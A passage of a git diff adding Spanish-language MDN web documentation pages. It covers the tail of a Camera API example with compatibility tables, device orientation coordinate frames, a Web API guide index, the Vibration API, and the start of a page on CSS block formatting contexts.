+                        // Regresar a FileReader si createObjectURL no está soportado
+                        var fileReader = new FileReader();
+                        fileReader.onload = function (event) {
+                            showPicture.src = event.target.result;
+                        };
+                        fileReader.readAsDataURL(file);
+                    }
+                    catch (e) {
+                        //
+                        var error = document.querySelector("#error");
+                        if (error) {
+                            error.innerHTML = "Neither createObjectURL or FileReader are supported";
+                        }
+                    }
+                }
+            }
+        };
+    }
+})();
+</pre>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Camera API</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/window.URL.createObjectURL" title="/en-US/docs/DOM/window.URL.createObjectURL">createObjectURL()</a></code></td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>10+</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FileReader")}}</td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>10+</td>
+   <td>11.6+</td>
+   <td>{{CompatNo()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Camera API</td>
+   <td>3.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("10.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/window.URL.createObjectURL" title="/en-US/docs/DOM/window.URL.createObjectURL">createObjectURL()</a></code></td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FileReader")}}</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>11.1</td>
+   <td>{{CompatNo()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/guide/api/dom/events/orientation_and_motion_data_explained/orientation_and_motion_data_explained/index.html b/files/es/web/guide/api/dom/events/orientation_and_motion_data_explained/orientation_and_motion_data_explained/index.html
new file mode 100644
index 0000000000..7f8fe2155c
--- /dev/null
+++ b/files/es/web/guide/api/dom/events/orientation_and_motion_data_explained/orientation_and_motion_data_explained/index.html
@@ -0,0 +1,48 @@
+---
+title: Explicación de los datos de orientación y movimiento
+slug: >-
+  Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained/Orientation_and_motion_data_explained
+translation_of: Web/Guide/Events/Orientation_and_motion_data_explained
+---
+<p>{{ Draft() }}</p>
+<h2 id="Sumario">Sumario</h2>
+<p>Cuando se utiliza la orientación y los eventos de movimiento, es importante entender cuáles son los significados de los valores en el navegador. En este artículo se proporciona información acerca de los sistemas de coordenadas en el juego y la forma de usarlos.</p>
+<div class="warning">
+  <p><strong>Atención:</strong> Actualmente, Firefox y Chrome no soporta la orientación de la misma forma. Ten cuidado con esto cuando sea imprementado en un navegador u otro.</p>
+</div>
+<h2 id="Acerca_de_los_marcos_de_coordenadas">Acerca de los marcos de coordenadas</h2>
+<p>Un marco de coordenadas en un sistema en el que la orientacion de los tres ejers (X, Y y Z) se definen en referencia a un objeto. Hay dos marcos de coordenadas a considerar cuando se utiliza eventos de orientación y el movimiento:</p>
+<h3 id="Marco_de_coordenadas_terrestres">Marco de coordenadas terrestres</h3>
+<p>El marco de coordenadas de terrestres es el sistema de coordenadas fijado en el centro de la Tierra, es decir, los ejes están alineados sobre la base de la fuerza de la gravedad y la orientación norte magnético estándar. Utilizamos las letras mayúsculas ("X", "Y" y "Z") para describir los ejes del sistema de coordenadas terrestre.</p>
+<ul>
+  <li>El eje <strong>X</strong> sigue a lo largo (profuncidad) del plano de tierra, perpendicular al eje Y y positiva hacia el este (y por lo tanto negativa hacia el oeste).</li>
+  <li>El eje <strong>Y</strong> sigue a lo largo(ancho) del plano de tierra, y es positivo hacia el norte verdadero (es decir, el Polo Norte, el norte no es magnético) y negativo hacia la verdadera sur.</li>
+  <li>El eje <strong>Z</strong> es perpendicular al plano de tierra, piensa en él como una línea trazada entre el dispositivo y el centro de la Tierra. El valor de la coordenada Z es positivo hacia arriba (distancia desde el centro de la Tierra) y negativo hacia abajo (hacia el centro de la Tierra).</li>
+</ul>
+<p> </p>
+<p><img alt="" src="http://upload.wikimedia.org/wikipedia/commons/f/f6/Cartesian_xyz.png" style="width: 200px; height: 153px;"></p>
+<p> </p>
+<h3 id="Marco_de_coordenadas_del_dispositivo">Marco de coordenadas del dispositivo</h3>
+<p>El marco de coordenadas del dispositivo es el marco de la coordinación fijada en el centro del dispositivo. Utilizamos letras minúsculas ("x", "y" y "z") para describir los ejes de las coordenadas del del dispositivo</p>
+<p><img alt="axes.png" class="internal default" src="/@api/deki/files/5694/=axes.png" style=""></p>
+<ul>
+  <li>El eje <strong>x</strong> está en el plano de la pantalla y es positiva hacia la derecha y negativa hacia la izquierda.</li>
+  <li>El eje <strong>y</strong> está en el plano de la pantalla y es positiva hacia la parte superior y negativa hacia la parte inferior.</li>
+  <li>El eje <strong>z</strong> es perpendicular a la pantalla o teclado, y es positivo que se extiende hacia fuera de la pantalla.</li>
+</ul>
+<div class="note">
+  <strong>Nota:</strong> En un teléfono o tableta, la orientación del dispositivo siempre se considera en relación con la orientación estándar de la pantalla, lo que es la orientación "retrato" en la mayoría de los dispositivos. En una computadora portátil, la orientación se considera en relación con el teclado. Si desea detectar cambios en la orientación del dispositivo con el fin de compensar, se puede utilizar el evento orientationChange.</div>
+<h2 id="Sobre_la_rotación">Sobre la rotación</h2>
+<p>La rotación se describe alrededor de cualquier eje dado en términos del número de grados de diferencia entre el marco de coordenadas del dispositivo y el marco de coordenadas de la Tierra, y se mide en grados.</p>
+<h3 id="Alpha">Alpha</h3>
+<p>Rotación alrededor del eje z - es decir, girando el dispositivo - hace que el ángulo de rotación alfa cambie:</p>
+<p><img alt="alpha.png" class="internal default" src="/@api/deki/files/5695/=alpha.png" style=""></p>
+<p>El ángulo alfa es de 0 °, cuando la parte superior del dispositivo se apunta directamente hacia el polo norte de la Tierra, y aumenta a medida que el dispositivo se gira hacia la izquierda.</p>
+<h3 id="Beta">Beta</h3>
+<p>Rotación alrededor del eje X - es decir, inclinando el dispositivo desde o hacia el usuario - hace que el ángulo de giro beta cambie:</p>
+<p><img alt="beta.png" class="internal default" src="/@api/deki/files/5696/=beta.png"></p>
+<p>El ángulo beta es de 0 ° en la parte superior e inferior del dispositivo son la misma distancia de la superficie de la Tierra, y aumenta hacia 180 ° como el dispositivo se inclina hacia adelante y disminuye hacia -180 ° como el dispositivo se inclina hacia atrás.</p>
+<h3 id="Gamma">Gamma</h3>
+<p>Rotación alrededor del eje Y - es decir, la inclinación del dispositivo hacia la izquierda o hacia la derecha - hace que el ángulo de giro gamma cambie:</p>
+<p><img alt="gamma.png" class="internal default" src="/@api/deki/files/5697/=gamma.png"></p>
+<p>El ángulo gamma es 0 °, cuando los lados izquierdo y derecho del dispositivo son la misma distancia de la superficie de la Tierra, y aumenta hacia 90 ° como el dispositivo se inclina hacia la derecha, y hacia -90 ° como el dispositivo se inclina hacia el izquierda.</p>
diff --git a/files/es/web/guide/api/index.html b/files/es/web/guide/api/index.html
new file mode 100644
index 0000000000..c2ef8cbe1f
--- /dev/null
+++ b/files/es/web/guide/api/index.html
@@ -0,0 +1,24 @@
+---
+title: Guide to Web APIs
+slug: Web/Guide/API
+tags:
+  - API
+  - Guía
+  - Landing
+  - TopicStub
+  - Web
+translation_of: Web/Guide/API
+---
+<p>Aquí encontrarás links a cada una de las guías introduciendo y explicando cada una de las APIs que conforman la la arquitectura del desarrollo web.</p>
+
+
+<p>{{ListGroups}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">Web API interface reference</a> (an index of all of the interfaces comprising all of these APIs)</li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a> (DOM)</li>
+ <li><a href="/en-US/docs/Web/Events">Web API event reference</a></li>
+ <li><a href="/en-US/docs/Learn">Learning web development</a></li>
+</ul>
diff --git a/files/es/web/guide/api/vibration/index.html b/files/es/web/guide/api/vibration/index.html
new file mode 100644
index 0000000000..8c9c7b5f06
--- /dev/null
+++ b/files/es/web/guide/api/vibration/index.html
@@ -0,0 +1,155 @@
+---
+title: Vibración API
+slug: Web/Guide/API/Vibration
+tags:
+  - API
+  - Firefox OS
+  - Mobile
+  - Principiante
+  - Vibración
+  - Vibrado
+  - Vibrar
+  - WebAPI
+translation_of: Web/API/Vibration_API
+---
+<p>La mayoría de los dispositivos modernos pueden vibrar a través del hardware, esto permite que a través del código de software se pueda emitir estas vibraciones. La <strong>Vibration API</strong>  ofrece a las aplicaciones web la capacidad de acceder a este hardware en caso este lo soporte, caso contrario el dispositivo no hace nada.</p>
+
+<h2 id="Describiendo_vibraciones">Describiendo vibraciones</h2>
+
+<p>Vibración se puede describir como un patrón de prender y apagar pulsos, los cuales pueden variar en longitud. El patrón puede consistir de un sólo número que indica cuantos milisegundos vibrará, o un arreglo de enteros describiendo un patrón de vibraciones y pausas. La vibración es controlada por un solo método:</p>
+
+<p><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">{{domxref("window.navigator.vibrate()")}}.</span></p>
+
+<h3 id="Vibración_simple">Vibración simple</h3>
+
+<p>Puedes iniciar una sola vibración del hardware pasando como argumento un sólo número, o un arreglo de un sólo número:</p>
+
+<pre class="brush:js">window.navigator.vibrate(200);
+window.navigator.vibrate([200]);
+</pre>
+
+<p>Ambos ejemplos hacen vibrar el dispositivo por 200 ms.</p>
+
+<h3 id="Patrones_de_vibración">Patrones de vibración</h3>
+
+<p>Un arreglo de valores describen que las vibraciones serán por períodos alternados, es decir, el dispositivo vibrará luego no lo hará, así según la secuencia definida. Cada valor en el arreglo es convertido a entero para luego ser interpretado alternadamente como el tiempo que el dispositivo debe vibrar y el tiempo que no debe vibrar. Ejemplo:</p>
+
+<pre class="brush: js">window.navigator.vibrate([200, 100, 200]);
+</pre>
+
+<p>Según este ejemplo el dispositivo vibrará por 200ms, luego se detiene por 100ms y luego vibra 200ms.</p>
+
+<p>Puedes especificar cuantas vibraciones/pausas desees, y el arreglo puede tener un tamaño par o impar. No importa que agregues una pausa como el último valor del arreglo, ya que el celular dejará de vibrar de todas formas al final de cada vibración.</p>
+
+<h3 id="Cancelar_vibraciones_existentes">Cancelar vibraciones existentes</h3>
+
+<p>Llamar {{domxref("window.navigator.vibrate()")}} con un valor de <code>0</code>, arreglo vació, o arreglo que contenga 0's detendrá cualquier vibración en curso.</p>
+
+<h3 id="Vibraciones_continuas">Vibraciones continuas</h3>
+
+<p style="margin: 0px 0px 0.8em; padding: 0px; border: 0px; font-family: 'Open Sans', Arial, sans-serif; line-height: 1.6em; font-size: 16px; vertical-align: baseline;">Algunas básicas acciones son <code style="margin: 0px; padding: 2px 7px; border: 0px; font-family: monospace, sans-serif; font-style: inherit; font-variant: inherit; font-weight: bold; line-height: inherit; font-size: 16px; vertical-align: baseline; background-color: rgb(248, 248, 248); border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px;">setInterval</code> y <code style="margin: 0px; padding: 2px 7px; border: 0px; font-family: monospace, sans-serif; font-style: inherit; font-variant: inherit; font-weight: bold; line-height: inherit; font-size: 16px; vertical-align: baseline; background-color: rgb(248, 248, 248); border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px;">clearInterval</code> que nos permitirán crear vibraciones persistentes:</p>
+
+<pre class="js  language-js" style="margin-top: 0.5em; margin-bottom: 0.5em; padding: 1em; border: 0px; font-family: Consolas, Monaco, 'Andale Mono', monospace; line-height: 1.6em; font-size: 0.8em; vertical-align: baseline; background-color: rgb(245, 242, 240); color: black; text-shadow: white 0px 1px; direction: ltr;"><code class="language-js" style="margin: 0px; padding: 0px; border: 0px; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-style: inherit; font-variant: inherit; line-height: inherit; font-size: 13px; vertical-align: baseline; text-shadow: white 0px 1px; direction: ltr;"><span class="token keyword" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(0, 119, 170);">var</span> intervaloDeVibrado<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">;</span>
+<span class="token comment" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(112, 128, 144);">
+// Iniciar la vibración
+</span><span class="token keyword" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(0, 119, 170);">function</span> <span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;">iniciarVibrado<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span>duracion<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span> <span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">{</span>
+	navigator<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">.</span><span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;">vibrate<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span>duracion)<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">;</span>
+<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">}</span>
+<span class="token comment" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(112, 128, 144);">
+// Detiene la vibración
+</span><span class="token keyword" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(0, 119, 170);">function</span> <span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;">detenerVibrado<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span> <span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">{</span>
+<span class="token comment" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(112, 128, 144);">	// Limpiar el intervalo y detener las vibraciones existentes
+</span>	<span class="token keyword" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(0, 119, 170);">if</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span>intervaloDeVibrado<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span> <span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;">clearInterval<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span>intervaloDeVibrado<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">;</span>
+	navigator<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">.</span><span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;">vibrate<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span><span class="token number" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 0, 85);">0</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">;</span>
+<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">}</span>
+<span class="token comment" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(112, 128, 144);">
+// Iniciar las vibraciones con una determinado tiempo e intervalo
+</span><span class="token comment" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(112, 128, 144);">// Asumir que el valor recibido es un entero
+</span><span class="token keyword" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(0, 119, 170);">function</span> iniciarVibradoPersistente<span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;"><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span>duracion<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">,</span> intervalo<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span> <span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">{</span>
+	intervaloDeVibrado <span class="token operator" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(166, 127, 89); background-color: rgba(255, 255, 255, 0.498039);">=</span> <span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;">setInterval<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span><span class="token keyword" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(0, 119, 170);">function</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span> <span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">{</span>
+		<span class="token function" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline;">iniciarVibrado<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">(</span></span>duracion<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">;</span>
+	<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">}</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">,</span> intervalo<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">)</span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">;</span>
+<span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; vertical-align: baseline; color: rgb(153, 153, 153);">}</span></code></pre>
+
+<p style="margin: 0px 0px 0.8em; padding: 0px; border: 0px; font-family: 'Open Sans', Arial, sans-serif; line-height: 1.6em; font-size: 16px; vertical-align: baseline;">Claro que el código de arriba no toma en cuenta el método de utilizar un arreglo de vibración, utilizar un arreglo para vibración persistente necesitaría recalcular la suma de los elementos del arregloo y crear un intervalo basado en esos números (agregando adicionalmente las pausas)</p>
+
+<h3 id="¿Por_qué_utilizar_Vibration_API">¿Por qué utilizar Vibration API?</h3>
+
+<p style="margin: 0px 0px 0.8em; padding: 0px; border: 0px; font-family: 'Open Sans', Arial, sans-serif; line-height: 1.6em; font-size: 16px; vertical-align: baseline;">Esta API es claramente accesible a través de dispositivos móbiles. Vibration API puede servir para alertas en las aplicaciones web del celular, y sería es asombrosa cuando se utiliza en juegos o en aplicaciones pesadas. Imagínate mirando un video en tu celular y durante la escena de explosión,tu teléfono vibra un poco. O la sensación que tendría tu usuario al sentir el estallido de una bomba en el juego Bomberman.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Vibration API')}}</td>
+   <td>{{Spec2('Vibration API')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteŕistica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>11.0 {{property_prefix("moz")}}<br>
+    16 (no prefix)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>11.0 {{property_prefix("moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{domxref("window.navigator.vibrate()")}}</li>
+ <li><a href="http://davidwalsh.name/vibration-api">Vibration API - David Walsh</a></li>
+</ul>
diff --git a/files/es/web/guide/css/block_formatting_context/index.html b/files/es/web/guide/css/block_formatting_context/index.html
new file mode 100644
index 0000000000..a3edd4220f
--- /dev/null
+++ b/files/es/web/guide/css/block_formatting_context/index.html
@@ -0,0 +1,45 @@
+---
+title: Contexto de formato de bloque
+slug: Web/Guide/CSS/Block_formatting_context
+tags:
+  - CSS
+  - Guía
+  - Necesita ejemplos
+  - Referencia
+  - Web
+translation_of: Web/Guide/CSS/Block_formatting_context
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Un <strong>contexto de formato de bloque</strong> es parte del renderizado CSS visual de una página web. Es la región en que ocurre la disposición de las cajas de bloque y en la cuál los elementos flotantes interactúan los unos con los otros.</p>
+
+<p>Un contexto de formato de bloque es creado por uno de los siguientes casos:</p>
+
+<ul>
+ <li>El elemento raiz o algo que lo contiene</li>
+ <li>flotantes (elementos donde {{ cssxref("float") }} es diferente de none)</li>
+ <li>elementos con posición absoluta (elementos donde {{ cssxref("position") }} es absolute o fixed)</li>
+ <li>bloques en línea (elementos con {{ cssxref("display") }}<code>: inline-block</code>)</li>
+ <li>Celdas de tabla (elementos con {{ cssxref("display") }}<code>: table-cell</code>, que es la propiedad por defecto de las celdas de una tabla HTML)</li>
+ <li>subtítulos de tabla (elementos con {{ cssxref("display") }}<code>: table-caption</code>, que es la propiedad por defecto de los subtítulos de tablas HTML)</li>
+ <li>elementos donde {{ cssxref("overflow") }} tiene un valor distinto a <code>visible</code></li>
+ <li>cajas flexibles (elementos con {{ cssxref("display") }}<code>: flex</code> or <code>inline-flex</code>)</li>
+</ul>
+
+<p>Un contexto de formato de bloque contiene todo dentro del elemento que lo crea que, al mismo tiempo, no se encuentra dentro de un elemento descendiente que crea un nuevo contexto de formato de bloque.</p>
+
+<p>Los contextos de formato de bloque son importantes para el posicionamiento (revisa {{ cssxref("float") }} y {{ cssxref("clear") }}) de flotantes. Las reglas para el posicionamiento y limpiado de flotantes aplican solo a elementos dentro del mismo contexto de formato de bloque. Los flotantes no afectan la disposición de los elementos en otros contexto de formato de bloque, y clear solo limpia flotantes pasados en el mismo contexto de formato de bloque.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#block-formatting">CSS 2.1</a></li>
+</ul>
+
+<h2 id="See_Also" name="See_Also">También puedes ver</h2>
+
+<ul>
